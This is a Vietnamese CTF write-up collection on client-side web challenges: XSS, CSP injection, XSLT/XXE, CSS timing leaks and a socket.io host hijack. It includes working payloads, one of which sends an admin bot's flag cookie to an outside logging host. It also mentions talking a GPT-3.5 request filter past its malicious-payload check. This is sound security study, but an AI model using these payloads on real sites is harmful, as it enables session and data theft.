Write up Client-Side
- Dạo này thấy khá nhiều challenge client side nên mình theo trend tìm vài bài wu.
- Mấy bài dưới mình đều đọc wu hết r thấy hay nên viết lại thôi. Còn mấy bài mình chưa viết kịp.
## Noscript - Wani CTF 2024
- Bài này khá là cỏ nhưng thôi mình cũng vứt vào đây. Do khá là cay con bot code khá lỏ làm mình ko lấy đc flag.
- Code thì khá là dài nhưng chúng ta chỉ qtam vài vấn đề chính thôi.
- Chúng ta có 1 trang web như sau:

- 1 form cho ta báo cáo tới con bot đề lấy flag thông qua cookie nếu triggger đc xss. Và 1 nút sign In

- Đây là khi ta ấn vào sign in nó sẽ tạo 1 uuid ngẫu nhiên và cho phép chúng ta nhập giá trị vào 2 trường username và profile.

- Qua việc đọc code ta sẽ có 1 endpoint khá là ngon là **/username/uuid** endpoint này trả về giá trị username mà ko có bất cứ csp hay filter nào => dễ dàng xss.


- Tuy nhiên chúng ta chỉ đc report tới url là **/user/uuid** thôi mà cái url này lại dính csp.
- Chúng ta có thể bypass khá là đơn giản ở đây là dùng thẻ iframe.


- Việc còn lại là genpayload gửi cho con bot thôi. Còn 1 vài cách nữa là dùng thẻ meta,object.... các bạn tự tìm hiểu.
## Code Box - DICE CTF 2023
- Đây là 1 bài thuộc thể loại csp injection. Khá là mới lạ với mình.
- Code bài này cũng khá ngắn thôi:
```code=javascript
const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');
const box = require('fs').readFileSync('box.html', 'utf-8');
fastify.get('/', (req, res) => {
const code = req.query.code;
const images = [];
if (code) {
const parsed = HTMLParser.parse(code);
for (let img of parsed.getElementsByTagName('img')) {
let src = img.getAttribute('src');
if (src) {
images.push(src);
}
}
}
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];
if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}
res.header('Content-Security-Policy', csp.join('; '));
res.type('text/html');
return res.send(box);
});
fastify.listen({ host: '0.0.0.0', port: 8080 });
```
- 1 web app khá là đơn giản nó cho chúng ta thêm các thuộc tính vào header csp thông qua thẻ img từ param code.
- Flag của chúng ta sẽ ở trang .html như sau:

- Để giải quyết bài này khá là đơn giản thôi chúng ta sẽ inject vào csp và gửi flag ra ngoài cho chúng ta. csp có 1 thuộc tính đặc biệt đó chính là report-uri cho phép csp sẽ gửi những báo cáo vi phạm tới 1 url cụ thể.
- CSP còn 1 thuộc tính đặc biệt nữa đó là **require-trusted-types-for** nó dựa trên cơ chế Trusted Types đưa ra nhằm bảo vệ web khỏi các cuộc tấn công xss. Khi cơ chế này được bật nó sẽ chỉ cho phép các giá trị qua policy đã tạo mới đc phép gán giá trị vào dom qua các thuộc tính innerHTML,outerHTML,document.write ...
- Nếu giá trị chưa qua 1 policy nào mà gán qua các thuộc tính vừa kể sẽ không được phép và điều này vi phạm chính sách nên chúng ta sẽ có 1 cái report thôi.
- Nhìn hình ở trên là ta biết thằng flag chưa qua cái policy nào r nên khá là ổn. Còn 1 cái chúng ta sẽ cần bypass nữa là param code do việc set **fram.sanbox = ''** sẽ gây ra lỗi với **require-trusted-types-for** trước nên chúng ta cần bỏ qua nó.
- Như thấy trong phần code html nếu code là undefine thì nó sẽ không set **fram.sanbox = ''** và để làm điều này chúng ta đơn giản không truyền giá trị cho code là đc, nhưng không truyền cho code thì sao csp injection dc thì khá là đơn giản chúng ta sẽ cho 2 cái param là code 1 cái rỗng và 1 cái chứa payload do việc nhận xử lý param giữa client và server là khác nhau.
- Việc còn lại là điền payload r lụm.


## Impossible XSS - DICE CTF 2023
link wu:https://blog.ankursundara.com/dicectf23-writeups/#impossible-xss
- Đây là 1 bài code khá ngắn nhưng lại cực kì hard tại thời điểm end giải thì vẫn không có ai solved.
- Chúng ta có 1 web site đơn giản như sau gồm 2 route.
```code=nodejs
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/', (req, res) => {
// free xss, how hard could it be?
res.end(req.query?.xss ?? 'welcome to impossible-xss');
});
app.get('/flag', (req, res) => {
// flag in admin bot's FLAG cookie
res.end(req.cookies?.FLAG ?? 'dice{fakeflag}');
});
app.listen(8080);
```
- Ta có thể dễ dàng xss ở **/** vậy thì dễ vl rồi còn gì chỉ cần gen payload gửi link cho con bot nữa là xong phải không. Làm gì dễ ăn thế 1 bài 0 solved phải có trò gì đấy cực lạ. Chúng ta sẽ phân tích source của con bot.
```code=javascript
import flag from './flag.txt'
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
})
}
export default {
name: 'impossible-xss admin bot',
urlRegex: /^https:\/\/impossible-xss.mc.ax\//,
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto('https://impossible-xss.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
// you wish it was that easy
await page.setCookie({
"name": "FLAG",
"value": flag,
"domain": "impossible-xss.mc.ax",
"path": "/",
"httpOnly": true,
"secure": true,
"sameSite": "Strict"
});
await page.setJavaScriptEnabled(false);
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(3000);
}
}
```
- Có thể thấy samsite và httpOnly đều là true nhưng vẫn không sao chúng ta có thể lấy cookie thông qua **/flag** là được nhưng có 1 dòng đã ngăn tất cả đó chính là `page.setJavaScriptEnabled(false)` cái option này sẽ ngăn chặn việc thực thi javascript trên trình duyệt của con bot.
- Nghe thôi cảm giác khá là hết cứu. Làm sao đưa được giá trị tại **/flag** của con bot ra ngoài mà ko dùng javascript ?.
- Cho mình cả tháng chắc cũng éo nghĩ ra và chúng ta sẽ xem solution của author.
- Ở challenge này có 1 vấn đề chính là author cố tính dùng `res.end` thay vì `res.send` để gửi tới browser sự khác biệt của `res.end` là sẽ không có response header là `content-type` vì thế nó sẽ để cho trình duyệt tự động xử lý loại nội dung.
- Nghĩa là việc dùng úng ta có thể đặt nghi vấn tại sao không dùng csp để chặn việc thực thi script trên trình duyệt con bot nghĩa là việc dùng `page.setJavaScriptEnabled(false)` phải có vấn đề gì đó đặc biệt. Chứ tìm cách bypass cái này là vào ngõ cụt nhá.
- Thì dựa trên 2 cái trên thì chúng ta có 1 điều đặc biệt với văn bản xml trong trình duyệt hỗ trợ tính năng rất ít người biết đến đó là XSLT (**Extensible Stylesheet Language Transformations**) nó là 1 tính năng giúp biến đổi 1 tài liệu xml thành xml hay thành các định dạng khác như html.
- Mà dùng được xml thì chắc chắn chúng ta sẽ có lỗ hổng xxe. Tuy nhiên theo chia sẻ của author thì không có 1 tài liệu nào cho phép xxe qua XSLT trên chorme nhưng nó vẫn hỗ trợ (trick lỏ mà tác giả mò được đây mà). Ngoài ra thì firefox không hỗ trợ xxe.
- Đến đây thì genpayload nữa là xong bài này mình nghĩ làm cho biết thôi cũng không nên đào sâu quá. Đây là payload của tác giả.
```code=xml
xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
https://hc.lc/log2.php?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`
xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss=encodeURIComponent(xml)
```
- Mấy bạn thích thì tự mò tiếp do author nói trong thực tế cũng chả có cái nào như này nên viết cho biết thôi.
## calculator-1 - DICE CTF 2024
- Bài này cho chúng ta trang web với chức năng tính toán đơn giản:

- Chả có gì đáng nói chúng ta sẽ phân tích source code.

- Đoạn code sẽ xử lí pram query qua việc hàm sanitize và hàm run. Hàm run được import từ 1 package là jail.
- Đầu vào của chúng ta yêu cầu phải nhỏ hơn 75 và nó sẽ chạy qua hàm run chúng ta sẽ cũng phân tích sơ qua nó.

- Đầu tiên input của chúng ta sẽ được xử lý qua hàm santitize.
- Đây là code của nó
```code=typescript
import ts, { EmitHint, ScriptTarget } from 'typescript'
import { VirtualProject } from './project'
type Result<T> =
| { success: true; output: T }
| { success: false; errors: string[] }
const parse = (text: string): Result<string> => {
const file = ts.createSourceFile('file.ts', text, ScriptTarget.Latest)
if (file.statements.length !== 1) {
return {
success: false,
errors: ['expected a single statement'],
}
}
const [statement] = file.statements
if (!ts.isExpressionStatement(statement)) {
return {
success: false,
errors: ['expected an expression statement'],
}
}
return {
success: true,
output: ts
.createPrinter()
.printNode(EmitHint.Expression, statement.expression, file),
}
}
export const sanitize = async (
type: string,
input: string,
): Promise<Result<string>> => {
if (/[^ -~]|;/.test(input)) {
return {
success: false,
errors: ['only one expression is allowed'],
}
}
const expression = parse(input)
if (!expression.success) return expression
const data = `((): ${type} => (${expression.output}))()`
const project = new VirtualProject('file.ts', data)
const { errors, messages } = await project.lint()
if (errors > 0) {
return { success: false, errors: messages }
}
return project.compile()
}
```
- Đoạn code này thực hiên phân tích input đầu tiên là filter vài kí tự đặc biệt và sau đó đưa input qua hàm prase , Hàm này sẽ phân tích input của chúng ta nó sẽ kiểm tra số lượng câu lệnh và kiểm tra nó có phải là 1 câu lệnh hay không chúng ta truyền vào.
- Đây là ví dụ:


- Sau khi input qua phần prase nó lấy phần return và tạo 1 anonymous function với kiểu trả về là number. Lúc này hàm anonymous sẽ được phân tích thông qua 1 lib ESLint. Cái thư viện này nói chung là phân tích cái hàm anounymous kia xem có lỗi gì không nếu có nó sẽ trả false thôi.
- Và như các bạn thấy ở trên nếu input chúng ta là 1 chuỗi nhưng kết quả trả ra của hàm là 1 number thì tất nhiên là gặp lỗi rồi.

- vậy làm sao để bypass được cái đầy thì chúng ta sẽ dùng từ khóa as any để ép kiểu đặc biệt trong typescript qua nó cho phép chúng ta bỏ qua việc kiểm tra dữ liệu tại thời điểm biên dịch.

- Tuy nhiên chúng ta cũng chỉ mới bypass được vấn đề khi nó biên dịch còn việc nó phân tích thông qua ESLint nữa.

- Như các bạn thấy nó ko báo lỗi từ trình biên dịch nữa mà là từ thằng ESLint. Và để bypass điều này chúng ta có thể dùng https://eslint.org/docs/latest/use/configure/rules#using-configuration-comments để disable các rule của nó. Chúng ta đơn giản chỉ cần thêm **`/*eslint-disable*/`** là được.

- H thì chúng ta chỉ cần inject payload để thực thi xss thôi. Do payload chỉ đc 75 kí tự nên chúng ta sẽ dùng các script js bên ngoài qua thuộc tính src.



- Gửi tới con bot nữa là ok rồi.
## calculator-2 - DICE CTF
link wu:
https://one3147.tistory.com/77
https://nanimokangaeteinai.hateblo.jp/entry/2024/02/06/051003
- Ở bài này chúng ta chắc chắn sẽ không dùng theo cách 1 được nữa do nó đã filter.

- Và chúng ta sẽ tìm cách khác để bypass. Và theo như wu thì ở đây chúng ta sẽ dùng hàm eval để ghi đè 1 object nào đó trả về kiểu string. Chúng ta có thể ghi đè object **Number** như sau:

- Hoặc chúng ta sẽ ghi đề hàm praseInt như sau:

- Vậy việc còn lại là chèn script vào thôi. Tuy nhiên lúc này yêu cầu domain khá ngắn. Các bạn có thể dùng link rút gọn là được rồi.
- Payload
`eval('Number=String'),Number('<script src=/'+'/s.net.vn/veOs></script>')`

## another-csp - DICE CTF 2024
- Link wu
https://blog.huli.tw/2024/02/12/en/dicectf-2024-writeup/
- Đây là 1 bài liên quan tới csp code khá là ngắn gồm 2 file chính.
- File index.js
```code= javascript
import { createServer } from 'http';
import { readFileSync } from 'fs';
import { spawn } from 'child_process'
import { randomInt } from 'crypto';
const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));
const wait = child => new Promise(resolve => child.on('exit', resolve));
const index = readFileSync('index.html', 'utf-8');
let token = randomInt(2 ** 24).toString(16).padStart(6, '0');
let browserOpen = false;
const visit = async code => {
browserOpen = true;
const proc = spawn('node', ['visit.js', token, code], { detached: true });
await Promise.race([
wait(proc),
sleep(10000)
]);
if (proc.exitCode === null) {
process.kill(-proc.pid);
}
browserOpen = false;
}
createServer(async (req, res) => {
const url = new URL(req.url, 'http://localhost/');
if (url.pathname === '/') {
return res.end(index);
} else if (url.pathname === '/bot') {
if (browserOpen) return res.end('already open!');
const code = url.searchParams.get('code');
if (!code || code.length > 1000) return res.end('no');
visit(code);
return res.end('visiting');
} else if (url.pathname === '/flag') {
if (url.searchParams.get('token') !== token) {
res.end('wrong');
await sleep(1000);
process.exit(0);
}
return res.end(process.env.FLAG ?? 'dice{flag}');
}
return res.end();
}).listen(8080);
```
- Nó là 1 web đơn giản có vài api như /bot và /flag và ở / thì nó sẽ trả về nội dung file index.html, và để có flag cho bài này ta cần phải đoán được giá trị token chúng ta sẽ phân tích qua file **visit.js**.
```code= javascript
import puppeteer from 'puppeteer';
const browser = await puppeteer.launch({
pipe: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--incognito'
],
dumpio: true,
headless: 'new'
});
const [token, code] = process.argv.slice(2);
try {
const page = await browser.newPage();
await page.goto('http://127.0.0.1:8080');
await page.evaluate((token, code) => {
localStorage.setItem('token', token);
document.getElementById('code').value = code;
}, token, code);
await page.click('#submit');
await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
await page.close();
} catch(e) {
console.error(e);
};
await browser.close();
```
- Con bot này sẽ nhận giá trị token và code và set giá trị token trong localStorage cũng như cho thẻ id code sau đó thực thi code thông qua sự kiện clink thôi. Chúng ta có thể thấy rõ hơn khi nhìn file index.html.

- Vậy là chúng ta phải lạm dụng con bot này bằng cách nào đó nó leak cái token ra. Làm sao thì chưa biết. Ở trang html chúng ta còn 1 cái csp được set như này.

- Có vẻ cái csp này vẫn khá là dễ thở khi nó cho chúng ta dùng thẻ style và script inline. Tuy nhiên giá trị input của chúng ta lại đưa vào thẻ iframe có cái thuộc tính sanbox nói chung là ko thực thi được script các bạn có thể coi thêm tại.
[ifram-sanbox](https://www.w3schools.com/tags/att_iframe_sandbox.asp)
- Thì nó chặn việc thực thi script cũng như fetch ra bên ngoài tuy nhiên với thẻ style chúng ta vẫn có thể dùng css injection nhưng lại éo fetch ra bên ngoài đc do csp.
- Đấy là điều khó của bài này bypass cái sanbox cũng như csp này là điều không thể rồi theo như các ct làm dạng blind thì chúng ta luôn phải làm cho ra 2 kết quả khác nhau để đoán giá trị và ở bài này chúng ta sẽ cố gắng làm sao cho con bot crash hoặc time-base gì đó là ổn.
- Muốn nó chậm thì chúng ta cứ thêm nhiều câu lệnh thuộc tính là đc làm tới khi nào con bot timeout là ngon.
- Chúng ta sẽ đến với 1 vài cách làm sau theo như wu:
```code=html
<style>
h1[data-token^='a'] {
--c1: color-mix(in srgb, blue 50%, red);
--c2: srgb(from var(--c1) r g b);
background-color: var(--c2);
}
</style>
```
- Đây là 1 bug của chorme và hiện đã được fix nhưng với phiên bản chorme của puppeteer trong bài này thì vẫn bị các link detail:[chorme issue](https://issues.chromium.org/issues/41490764)
- Và chúng ta có thêm 1 cách nữa làm cho trang web load cực nhiều bằng cách set thuộc tính css như sau:
```code=html
<style>
html:has([data-token^="a"]) {
--a: url(/?1),url(/?1),url(/?1),url(/?1),url(/?1);
--b: var(--a),var(--a),var(--a),var(--a),var(--a);
--c: var(--b),var(--b),var(--b),var(--b),var(--b);
--d: var(--c),var(--c),var(--c),var(--c),var(--c);
--e: var(--d),var(--d),var(--d),var(--d),var(--d);
--f: var(--e),var(--e),var(--e),var(--e),var(--e);
}
</style>
<style>
*{
background-image: var(--f)
}
</style>
```
- Các bạn không nên test trên trình duyệt thật cpu load 100% đấy. Như vậy chúng ta sẽ có 2 cách để leak token. Code các ban tự viết.
## ChatUWU - RealWorld CTF 5th
link wu:https://ctftime.org/writeup/36057
- Lại là 1 bài xss nữa mình lụm được nhưng liên quan tới websocket chúng ta sẽ cùng phân tích.
```code=javascript
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http);
const DOMPurify = require('isomorphic-dompurify');
const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = process.env.PORT || 8000;
const rooms = ['textContent', 'DOMPurify'];
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
io.on('connection', (socket) => {
let {nickname, room} = socket.handshake.query;
if (!rooms.includes(room)) {
socket.emit('error', 'the room does not exist');
socket.disconnect(true);
return;
}
socket.join(room);
io.to(room).emit('msg', {
from: 'system',
// text: `${nickname} has joined the room`
text: 'a new user has joined the room'
});
socket.on('msg', msg => {
msg.from = String(msg.from).substr(0, 16)
msg.text = String(msg.text).substr(0, 140)
if (room === 'DOMPurify') {
io.to(room).emit('msg', {
from: DOMPurify.sanitize(msg.from),
text: DOMPurify.sanitize(msg.text),
isHtml: true
});
} else {
io.to(room).emit('msg', {
from: msg.from,
text: msg.text,
isHtml: false
});
}
});
});
http.listen(port, hostname, () => {
console.log(`ChatUWU server running at http://${hostname}:${port}/`);
});
```
- 1 web app khá đơn giản thôi, Nó tạo ra 2 phòng chat 1 phòng là **textContent** và **DOMPurify** thì cái phòng text đầu tiên nó set isHtml là false nên chúng ta sẽ không xss được nên buốc chúng ta phải trigger xss ở phòng còn lại thôi. Mà nhìn trông cũng không giòn lắm do nó dùng Dompurify để lọc và ngăn chặn xss.
- Vì là 1 bài client side chúng ta sẽ check sơ qua phần code js ở client.
```code=html
<script src="/socket.io/socket.io.js"></script>
<script>
function reset() {
location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
}
let query = new URLSearchParams(location.search),
nickname = query.get('nickname'),
room = query.get('room');
if (!nickname || !room) {
reset();
}
for (let k of query.keys()) {
if (!['nickname', 'room'].includes(k)) {
reset();
}
}
document.title += ' - ' + room;
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input');
form.addEventListener('submit', function (e) {
e.preventDefault();
if (input.value) {
socket.emit('msg', {from: nickname, text: input.value});
input.value = '';
}
});
socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
messages.appendChild(item);
window.scrollTo(0, document.body.scrollHeight);
});
socket.on('error', msg => {
alert(msg);
reset();
});
</script>
```
- Thì nó dùng 1 thư viện socket để giao tiếp với phần socket bên backend thôi. Mình không thấy flag ở đâu trong chall vậy thì khả năng con bot sẽ luôn là 1 user trong room rồi nếu room bị xss thì tất cả nhưng những người khác đều dính thôi. Vậy nên mục tiêu của bài này làm sao trigger được xss là xong.
- Sau hồi bí bách mình mò luôn wu thì thấy mình bỏ qua code js qtrong ở file .html. Cụ thể là đoạn sau.
```code=html
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input');
```
- Đoạn này thì nó đang kết nối tới websocket phía BE và chúng ta có thể thấy nó nhận giá trị là từ location.search. Với việc này chúng ta có thể nghĩ đến việc tạo 1 web socket giả và trả về giá trị xss mà không bị filter bởi thằng nảo cả. Các bạn có thể đơn giản bằng cách inject vào location.search 1 url như sau:
`http://localhost:58000/?&room=DOMPurify&nickname=guest8985@phughj1.acccc.cccc`
- Param nickname nhớ để sau cùng do việc parase url trong phần lib socket của js chúng ta có thể dễ dàng đưa server của chúng ta vào bằng cách thêm dấu @. Bạn nào muốn rõ thì tự debug trên trình duyệt nhé wu tới đây thôi. Do mình không có vps cũng lười exploit tiếp.
## Waifu - DownUnderCTF 2024
- Bài này trong lúc giải còn mình xác định được hướng đi rồi nhưng chưa thấy chỗ nào xss được đọc wu thì khá là bất ngờ nên wu lại thôi.
- Đây là wu của 1 ông nào mình lụm trên discord.


- Chúng ta sẽ phân tích lại.
- Bài này cho chúng ta 3 service 2 service là web app 1 cái con bot.
- Nói chung ta sẽ exploit trên webapp viết bằng typescript cái webapp còn lại để gửi request cho conbot ở service kia thôi.

- Cái webapp type script này thì cũng chả có gì mà khó hiểu có 2 route là /auth và /flag nghe tên là đủ hiểu r.
- Nói chung tới /flag thì chúng ta sẽ có flag Trong challenge này chúng ta sẽ qtam tới các middleware nhiều hơn.

- Cái middleware này thì kiểm tra giá trị session thôi ko có gì cả.

- Đây là cái middle theo như tên của bài này nó là con bot chatGPT 3.5 thôi và nó sẽ phân tích raw request để kiểm tra payload độc hại, Nói chung ta cần dùng lời nói để thao túng nó chỗ này.

- Và đây là cái middleware cuối cùng đây cũng chính là source để chúng ta xss mình cũng chả ngờ tới đọc code vội quá r. Sink của chúng ta sẽ nằm trong cái hàm sendBrowserRedirecctResponse.
```code=typescript
import { Response } from "express";
import { encode } from "html-entities";
const BROWSER_REDIRECT = `<html>
<body>
<script>
window.location = "{REDIRECT}";
</script>
</body>
</html>`;
const sendError = (res: Response, status: number, message: string) => {
res.status(status).send({status: "error", data: {error: message}});
}
const sendResponse = (res: Response, data: object) => {
res.status(200).send({status: "success", data: data});
}
// Helpful at mitigating against other bots scanning for open redirect vulnerabilities
const sendBrowserRedirectResponse = (res: Response, redirectTo: string) => {
const defaultRedirect = `${process.env.BASE_URL}/flag/`;
if (typeof redirectTo !== "string") {
redirectTo = defaultRedirect;
}
const redirectUrl = new URL(redirectTo as string, process.env.BASE_URL);
// Prevent open redirect
if ((redirectUrl.hostname ?? '') !== new URL(defaultRedirect).hostname) {
redirectTo = defaultRedirect;
}
const encodedRedirect = encode(redirectTo);
res.send(BROWSER_REDIRECT.replace("{REDIRECT}", encodedRedirect));
}
export { sendError, sendResponse, sendBrowserRedirectResponse }
```
- Minh nghĩ mình đã bỏ qua file này =)) .Đoạn code này sẽ xử lí url để chúng ta redirect thôi và nó trả về 1 trang html sau đấy trang đấy mới redirect vậy thì chúng ta có thể chèn payload xss trong cái trang html redirect này.
- Mọi thứ đã được giải quyết rồi h việc genpayload test xem thôi.

- Nó work khá mượt giờ viết code fetch tới /flag r chuyển tới webhook nữa là xong mình khá lười nên tới đây thôi.
- À còn 1 solution khá ảo nữa trên discord là


- Mình éo hiểu tại sao nó qua được việc check hostname đấy mặc dù nó work. Sau khi coi lại thì nó work là do hex khi as string khi khởi tạo url lỗi nó sẽ lấy url trong env luôn nên giống nhau =)) .
## Sappy - Google CTF 2024
## Grand Prix Heaven - Google CTF
## Safestlist - DiceCTF 2024
https://blog.huli.tw/2024/02/12/en/dicectf-2024-writeup/#webx2fsafestlist-2-solves
## Another-another-csp - Just CTF 2024
https://gist.github.com/terjanq/3e866293610aa6c5629df4353e5d87d9